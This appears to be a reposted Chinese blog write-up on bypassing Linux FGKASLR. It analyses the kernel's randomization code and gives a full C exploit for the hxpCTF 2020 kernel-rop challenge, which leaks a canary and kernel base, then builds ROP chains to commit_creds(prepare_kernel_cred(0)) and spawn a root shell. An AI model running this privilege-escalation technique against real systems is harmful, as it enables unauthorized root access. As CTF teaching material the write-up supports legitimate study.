Kernel-Pwn-FGKASLR保护绕过

news2024/9/20 12:41:32

FGKASLR

FGASLR(Function Granular KASLR)是KASLR的加强版,增加了更细粒度的地址随机化。因此在开启了FGASLR的内核中,即使泄露了内核的程序基地址也不能调用任意的内核函数。

layout_randomized_image

在fgkaslr.c文件中存在着随机化的明细。

/*
	linux/arch/x86/boot/compressed/fgkaslr.c
*/
void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs)
{
    ...
	shnum = ehdr->e_shnum; //获取节区的数量
	shstrndx = ehdr->e_shstrndx; //获取字符串的索引
    ...
	/* we are going to need to allocate space for the section headers */
	sechdrs = malloc(sizeof(*sechdrs) * shnum); //开辟一段空间用于防止节区头部
	if (!sechdrs)
		error("Failed to allocate space for shdrs");

	sections = malloc(sizeof(*sections) * shnum); //开辟一段空间用户防止节区的内容
	if (!sections)
		error("Failed to allocate space for section pointers");

	memcpy(sechdrs, output + ehdr->e_shoff,
	       sizeof(*sechdrs) * shnum); //拷贝头部数据

	/* we need to allocate space for the section string table */
	s = &sechdrs[shstrndx]; //获取节区名

	secstrings = malloc(s->sh_size); //开辟一段空间用于防止节区名称
	if (!secstrings)
		error("Failed to allocate space for shstr");

	memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷贝节区名称

	/*
	 * now we need to walk through the section headers and collect the
	 * sizes of the .text sections to be randomized.
	 */
	for (i = 0; i < shnum; i++) { //遍历节区,选择需要重定位的节区
		s = &sechdrs[i];
		sname = secstrings + s->sh_name;

		if (s->sh_type == SHT_SYMTAB) { //遇到符号节区跳过
			/* only one symtab per image */
			if (symtab)
				error("Unexpected duplicate symtab");

			symtab = malloc(s->sh_size);
			if (!symtab)
				error("Failed to allocate space for symtab");

			memcpy(symtab, output + s->sh_offset, s->sh_size);
			num_syms = s->sh_size / sizeof(*symtab);
			continue;
		}
        ...
		if (!strcmp(sname, ".text")) { //第一个.text的节区直接跳过
			if (text)
				error("Unexpected duplicate .text section");
			text = s;
			continue;
		}

		if (!strcmp(sname, ".data..percpu")) { //遇到.data..precpu的节区也直接跳过
			/* get start addr for later */
			percpu = s;
			continue;
		}

		if (!(s->sh_flags & SHF_ALLOC) ||
		    !(s->sh_flags & SHF_EXECINSTR) ||
		    !(strstarts(sname, ".text"))) //若一个节区具有SHF_ALLOC与SHF_EXECINSTR的标志位,并且节区名的前缀属于.text则会进行细粒度的地址随机化
			continue;

		sections[num_sections] = s; //剩余的节区都放置到新开辟的空间中,进行细粒度的地址随机化
		num_sections++;
	}
	sections[num_sections] = NULL;
	sections_size = num_sections;
    ...
}

通过上述代码分析可知

  • 符号节区不进行细粒度的地址随机化

  • 第一个.text节是不会进行细粒度的地址随机化

  • 需要同时具备SHF_ALLOCSHF_EXECINSTR标志位,并且节区的前缀为.text才会被选择进行细粒度的地址随机化

可以看到layout_randomized_image函数还是会保持原有的节区偏移,但是会在内存中寻找另一个空间进行存储,这就导致在内核开启了FGKASLR保护时并不是所有的节区都以内核程序基地址作为基址进行偏移,想要做到任意内核函数的调用,就需要找到调用函数所处的节区的基地址,使得利用更加复杂化了。

FGKASLR保护的绕过

想要绕过FGKASLR,我们可以挑选不受影响的节区中的gadget进行ROP链的构造。

首先是不存在SHF_ALLOCSHF_EXECINSTR标志位的节区

image-20230703202123018

其次是.text的节区,可以看到该节区存在0x200000的大小,因此可以挑选0xffffffff81000000 - 0xffffffff81000000 + 0x200000,可选的gadget还是比较充足的。

image-20230703202341608

上述的节区都是不受FGKASLR保护的影响,只需要泄露出内核程序的基地址,就可以按照绕过KASLR的思路进行漏洞的利用。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

想要在内核态完成提权返回到用户态,我们需要调用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq

因此先来看commit_credsprepare_kernel_cred函数是否符合要求,可以看到commit_creds函数的地址为0xffffffff814c6410prepare_kernel_cred函数的地址为0xffffffff814c67f0都是超过.text的节区空间了(这里我是关闭了KASLR的)。

image-20230703203853456

可以多运行几次环境,查看这个两个函数的地址,会发现末尾地址的偏移会一直在变化。(开启了KASLR)

cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"

第一次

image-20230703204358552

第二次

image-20230703204436120

可以看到第一次运行与第二次运行的地址是完全不一样的,但是处于不进行细粒度的节区ksymtab,只有中间的九个比特位(KASLR)发生了改变,其余部分是一致的。这也是KASLRFGKASLR的区别。但是实际的利用又需要用到这两个函数,因此还是需要特殊的手法泄露出这两个函数的实际地址。(1)能够泄露这两个函数现有的基地址(2)通过符号表进行地址读取。

这里采用(2)的手法进行函数地址的泄露,ksymtab节存放着内核函数的符号表,使用下述结构体进行维护。

struct kernel_symbol {
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};
  • value_offset:内核符号的值的偏移
  • name_offset:内核符号的名称的偏移
  • namespace_offset:内核符号所属的命名空间的名称在内存中的偏移量或地址。

因此value_offset正是我们所关注的,这里需要注意的是这里的偏移地址是基于当前地址的偏移。以ksymtab_commit_creds为例,ksymtab_commit_creds的地址值为0xffffffffa8587d90,该地址存储的值为0xffa17ef0,计算的结果为0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80 ,结果刚好是commit_creds函数的地址值,这里说明一下为什么需要用(2^32 - 0xffa17ef0),因为value_offsetint类型,而0xffa17ef0是负数,因此需要先转换在进行相减才是实际值。

image-20230703210116622

那么利用上述的方法就可以求出commit_credsprepare_kernel_cred函数的地址。

那么接着看如何获取swapgsiretq指令的地址,之前在介绍如何绕过kpti时介绍过一个特殊的函数swapgs_restore_regs_and_return_to_usermode,里面除了能够通过cr3转换页表,里面还具备swapgsiretq指令。在内核中搜索一下这个函数的地址,可以发现它处于.text节区的范围内,因此这个地址可以直接拿来用。

image-20230703210936389

因此绕过FGKASLR的方法就出来了,首先是泄露内核程序基地址,通过该基地址获得__ksymtab_commit_creds__ksymtab_prepare_kernel_cred的地址,通过上述两个符号获取实际的commit_credsprepare_kernel_cred函数的地址,最后通过swapgs_restore_regs_and_return_to_usermode函数返回用户态。

hxpCTF 2020 kernel-rop

run.sh

qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0  kaslr kpti=1  quiet panic=1" \
    -s

这里还是使用 hxpCTF 2020的内核题作为例子

项目地址:https://github.com/h0pe-ay/Kernel-Pwn

之前提到过了程序存在栈溢出的漏洞,并且允许我们读取内核栈上的数据,通过读取内核栈上的数据可以泄露出canary的值以及程序的基地址,这里需要特别注意的是,当开启了FGKASLR时,不是所有的地址都可以用来计算基地址的,只能找在.text范围内的地址,否则是无法计算出内核程序基地址。因此这里选择0xffffffff8100a157的地址作为泄露地址。

image-20230703211839527

那么在泄露了canary和地址之后就可以利用栈溢出完成提权返回用户态了,在之前的用户态下的利用,我们可以借助write或者是puts 函数去读取地址中的内容,但是在内核态的利用则不需要这么麻烦了,例如可以先将__ksymtab_commit_creds地址赋值给rax寄存器,接着通过mov rax,[rax]; ret的指令完成对指定地址完成读取操作。这里我使用的gadget

0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]

首先利用pop rax; ret指令,将__ksymtab_commit_creds函数的地址赋值给rax寄存器,接着使用mov rax, qword ptr [rax];函数将__ksymtab_commit_creds地址的内容读取到rax寄存器中,那么接下来就是如何提取出rax寄存器。可以借助swapgs_restore_regs_and_return_to_usermode函数先暂时返回到用户态,接着采用内联汇编,进行值的提取。这里需要注意的是需要将ROP链与内联汇编分隔开,否则rax寄存器可能会被编译器优化掉,即会有清空rax寄存器的操作。并且所有找的gadget都必须是不会进行细粒度调整的节区中挑选,否则无法获取真实地址。

...
void start()
{
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x4d11; //pop_rax_ret
	payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
	payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
	payload[index++] = 0;
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)leak_commit_creds;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);
	
}

void leak_commit_creds()
{
	__asm(
		".intel_syntax noprefix;"
		"mov commit_creds_offset, eax;"
		".att_syntax;"
	);
	printf("commit_cred_offset:0x%x\n", commit_creds_offset);
	commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
	printf("commit_cred:0x%lx\n", commit_creds);
	jmp_leak_prepare_kernel_cred();
}
...

在调用为prepare_kernel_cred后需要将rax寄存器的值传递给rdi寄存器中,因为需要作为commit_creds函数的参数。但是在.text中找了很久都没有合适的gadget,那么还是同样采用内联汇编,将rax寄存器的值读取出,再传递给commit_creds函数即可。**这里又需要特别注意,最好不要使用太多的全局变量存储,否则会覆盖一开始保存的user_cs,user_rflags,user_sp,user_ss的变量值。**因此在payload中我特定将这几个变量初始化的特定的值,使得这几个变量存储在.data段防止被其它的值覆盖。

image-20230703214402506

因此针对FGKASLR保护的绕过,实际是利用FGKASLR特点,只在特定的区域中选取适合的gadget,从而将FGKASLR弱化为KASLR,进而继续利用。

exp

#include <stdio.h>
#include <fcntl.h>

/*
0xffffffff81006370: pop rdi; ret;  --  [0x6370]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10]
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90]
0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc]
*/

//iretq RIP|CS|RFLAGS|SP|SS 
#define MAX 1
int fd;
unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;

unsigned long image_base;
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long canary;

int prepare_kernel_cred_offset;
int commit_creds_offset;
unsigned long cred;


void save_state();
void backdoor();
void leak_commit_creds();
void leak_prepare_kernel_cred();
void get_cred();
void jmp_get_cred();
void jmp_leak_prepare_kernel_cred();
void jmp_get_cred();
void jmp_back_door();
void start();


void save_state()
{
	__asm(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_sp, rsp;"
		"mov user_ss, ss;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	puts("***save state***");
	printf("user_cs:0x%lx\n", user_cs);
	printf("user_sp:0x%lx\n", user_sp);
	printf("user_ss:0x%lx\n", user_ss);
	printf("user_rflags:0x%lx\n", user_rflags);
	puts("***save finish***");
}

void backdoor()
{
	puts("***getshell***");
	system("/bin/sh");
}

void start()
{
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x4d11; //pop_rax_ret
	payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
	payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
	payload[index++] = 0;
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)leak_commit_creds;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);
	
}

void leak_commit_creds()
{
	__asm(
		".intel_syntax noprefix;"
		"mov commit_creds_offset, eax;"
		".att_syntax;"
	);
	printf("commit_cred_offset:0x%x\n", commit_creds_offset);
	commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
	printf("commit_cred:0x%lx\n", commit_creds);
	jmp_leak_prepare_kernel_cred();
}

void jmp_leak_prepare_kernel_cred()
{
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x4d11; //pop_rax_ret
	payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred
	payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
	payload[index++] = 0;
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)leak_prepare_kernel_cred;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);	
}


void leak_prepare_kernel_cred()
{
	__asm(
		".intel_syntax noprefix;"
		"mov prepare_kernel_cred_offset, rax;"
		".att_syntax;"
	);
	printf("prepare_kernel_cred_offset:0x%x\n", prepare_kernel_cred_offset);
	prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset;
	printf("prepare_kernel_cred:0x%lx\n", prepare_kernel_cred);
	printf("jmp get cred\n");
	jmp_get_cred();
}

void jmp_get_cred()
{
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x6370; //pop_rdi_ret
	payload[index++] = 0;
	payload[index++] = prepare_kernel_cred; // prepare_kernel_cred
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)get_cred;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);	
	
}


void get_cred()
{
	__asm(
		".intel_syntax noprefix;"
		"mov cred, rax;"
		".att_syntax;"
	);
	printf("cred:0x%lx\n", cred);
	jmp_back_door();
}

void jmp_back_door()
{
	unsigned long payload[256];
	unsigned int index = 0;
	for(int i = 0; i < (16); i ++)
		payload[index++] = 0;
	//iretq RIP|CS|RFLAGS|SP|SS
	payload[index++] = canary;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = image_base +  0x6370; //pop_rdi_ret
	payload[index++] = cred; 		 //cred
	payload[index++] = commit_creds; // commit_creds
	payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)backdoor;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	write(fd, payload, index * 8);	
}

int main()
{
	save_state();
	fd = open("/dev/hackme", O_RDWR);
	unsigned long buf[256];
	read(fd, buf, 40 * 8);
	for(int i = 0; i < 40; i++)
		printf("i:%d\taddress:0x%lx\n",i, buf[i]);
	canary = buf[2];
	unsigned long leak_addr = buf[38];
	printf("leak addr:0x%lx\n", leak_addr);
	image_base = leak_addr - 0xa157;
	printf("ImageBase:0x%lx\n", image_base);
	start();
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/736729.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

支持中文手写和多画布的Handraw

什么是 Handraw ? Handraw 是支持中文手写和多画布的 Excalidraw 白板工具。 官网上项目名称还是 Excalidraw-CN&#xff0c;所以 Handraw 应该是基于 Excalidraw 二开的&#xff0c;特点是支持中文手写字体和多画布 官方也提供了免费使用的站点&#xff1a;https://handraw.t…

ModaHub魔搭社区:向量数据库Zilliz Cloud插入 Entity教程

目录 开始前 插入单个 Entity 批量插入 Entity 准备数据 插入数据 写入操作 本文介绍如何将 Entity 插入到 Zilliz Cloud 集群中的 Collection。 Entity 是 Collection 中的基本数据单元。同一个 Collection 中的 Entity 具有相同的属性,这些属性共同定义在 Schema 中…

低代码开发平台助力解决企业开发效率问题

编者按&#xff1a;随着企业应用需求的不断增加&#xff0c;提高企业开发效率已经成为许多企业的目标。传统的开发方法显然不适用&#xff0c;开发平台通过可视化拖拉拽搭建等易用性和高扩展性可以帮助企业解决这个问题。 关键词&#xff1a;可视化开发、私有化部署、前后端分离…

设计模式--------行为型模式

行为型模式 行为型模式用于描述程序在运行时复杂的流程控制&#xff0c;即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务&#xff0c;它涉及算法与对象间职责的分配。 行为型模式分为类行为模式和对象行为模式&#xff0c;前者采用继承机制来在类间…

飞控学习笔记-IMU姿态算法

扩展卡尔曼滤波算法 传感器融合算法 卡尔曼滤波算法 最小二乘法 毕卡逼近法 对上式进行泰勒展开 得到四元数各阶近似算法&#xff1a; 梯度下降算法 梯度下降 互补滤波算法 chatgpt解释&#xff1a; 互补滤波&#xff08;Complementary Filter&#xff09;算法是一种常用…

zk-IMG:对抗虚假信息

1. 引言 前序博客&#xff1a; ZKP图片授权——PhotoProof&#xff1a;proofs of permissible photo edits Daniel Kang等人2022年论文《ZK-IMG: Attested Images via Zero-Knowledge Proofs to Fight Disinformation》&#xff0c;在该论文中提供了一个简单的deep fake ima…

高级编程技巧之Python装饰器详解

概要 装饰器是Python中一种强大而灵活的编程技巧&#xff0c;它可以用于修改或扩展函数的行为&#xff0c;同时又不需要修改函数的源代码。本文将介绍Python中的装饰器的基本概念、使用方法以及高级技巧&#xff0c;帮助你从入门到精通装饰器的使用。 一、基本概念 在深入学习…

【面试必考点】这一次带你彻底学会this的指向问题

文章目录 前言一、this的指向问题1.1 全局中的this1.2 普通函数中的this1.3 定时器中的this1.4 事件处理函数中的this1.5 构造函数中的this1.6 构造函数静态方法中的this1.7 箭头函数中的this 二、修改函数中的this指向2.1 call2.2 apply2.3 bind 三、 this指向练习3.1 某小游戏…

【软件分析/静态分析】chapter6 课程08 指针分析(Pointer Analysis)

&#x1f517; 课程链接&#xff1a;李樾老师和谭天老师的&#xff1a; 南京大学《软件分析》课程08&#xff08;Pointer Analysis&#xff09;_哔哩哔哩_bilibili 目录 第六章 指针分析&#xff08;Pointer Analysis&#xff09; 6.1 为什么需要指针分析 6.2 指针分析的基本…

AMAT 工业输入输出模块0100-77037

W;① ⑧ 0 ③ 0 ① 7 7 7 ⑤ 9 AMAT 工业输入输出模块0100-77037 0100-76124 0100-71313 0100-71311 0100-71309 0100-71278 0100-71267 0100-71229 0100-71224 0100-20100 IGBT 和 IGCT 是四层器件&#xff0c;乍一看并没有什么不同。但是&#xff0c;当您“ 深入了解…

Spring Boot原理分析(三):IoC容器的继承层次

文章目录 一、Spring Ioc容器的继承层次1.BeanFactory2.ListableBeanFactory3.HierarchicalBeanFactory4.ApplicationContext 二、常用的ApplicationContext的实现类1.ClassPathXmlApplicationContext&#xff08;基于XML配置&#xff09;2.AnnotationConfigApplicationContext…

[Android]使用jni实现高斯模糊

1.高斯模糊的原理&#xff1a; 根据周边的像素值来确定自己的像素值&#xff0c;平均值&#xff0c;最大值&#xff0c;最小值&#xff0c;正太分布值 2.均值模糊blur 函数声明&#xff1a; CV_EXPORTS_W void blur( InputArray src, OutputArray dst,Size ksize, Point anc…

python绘制分组条形图

文章目录 数据导入多组条形图堆叠条形图 数据导入 我们经常会遇到对比多个统计量随时间变化的图像&#xff0c;比如想知道中国、美国以及欧盟最近几年GDP变化&#xff0c;如下表所示&#xff0c;单位是万亿美元。 中国美国欧盟201813.8920.5315.98201914.2821.3815.69202014.…

转换或是克隆的虚拟机无法联网,网络服务无法启动

新转换的虚拟机&#xff0c;无法联网&#xff0c;启动网络服务&#xff0c;报错&#xff1a; systemctl start network.service job for network.service failed because the control process exited with error code. 查看网络服务状态&#xff0c;systemctl status network…

SpringMVC 中的控制器如何处理文件上传

SpringMVC 中的控制器如何处理文件上传 Spring MVC 是一个基于 Java 的 Web 框架&#xff0c;它是 Spring 框架的一部分&#xff0c;提供了一系列的组件和工具&#xff0c;帮助开发人员构建 Web 应用程序。其中&#xff0c;控制器是 Spring MVC 中的核心组件之一&#xff0c;它…

SpringMVC 中的控制器如何返回 JSON 数据

SpringMVC 中的控制器如何返回 JSON 数据 SpringMVC 是一个基于 Spring 框架的 Web 框架&#xff0c;它提供了一种方便的方式来处理 HTTP 请求和响应。在 SpringMVC 中&#xff0c;控制器是用来处理请求的组件&#xff0c;它们负责接收请求、处理请求并返回响应。在本文中&…

三大城市分会场精彩呈现—2023架构·可持续未来峰会圆满收官!

2023年6月30日&#xff0c;由The Open Group主办的2023架构可持续未来峰会三大城市分会场成功举办&#xff0c;也代表着本次The Open Group半年度架构峰会圆满收官&#xff01; 本次大会以“可持续未来”为主题&#xff0c;采用“13”&#xff0c;即北京主会场上海/成都/深圳三…

svg修改图标颜色

对于svg图标&#xff0c;想通过hover或者active 添加颜色&#xff0c;没有办法修改&#xff0c;解决办法&#xff1a; 1. 修改svg图片源 最开始的svg图标&#xff1a; 修改这个fill"currentColor" 要是要修改线条颜色就修改stroke属性&#xff1a; fill属性设置对象…

青岛大学_王卓老师【数据结构与算法】Week05_02_栈的定义和特点_学习笔记

本文是个人学习笔记&#xff0c;素材来自青岛大学王卓老师的教学视频。 一方面用于学习记录与分享&#xff0c; 另一方面是想让更多的人看到这么好的《数据结构与算法》的学习视频。 如有侵权&#xff0c;请留言作删文处理。 课程视频链接&#xff1a; 数据结构与算法基础…

这所985太好考了,专硕06方向仅刷一人,其余过线全收!

一、学校及专业介绍 东北大学&#xff08;Northeastern University&#xff09;位于辽宁省沈阳市&#xff0c;是中华人民共和国教育部直属全国重点大学。它是国家“双一流”建设高校、国家“211工程”和“985工程”重点建设高校&#xff0c;全国首批博士、硕士学位授予单位。 …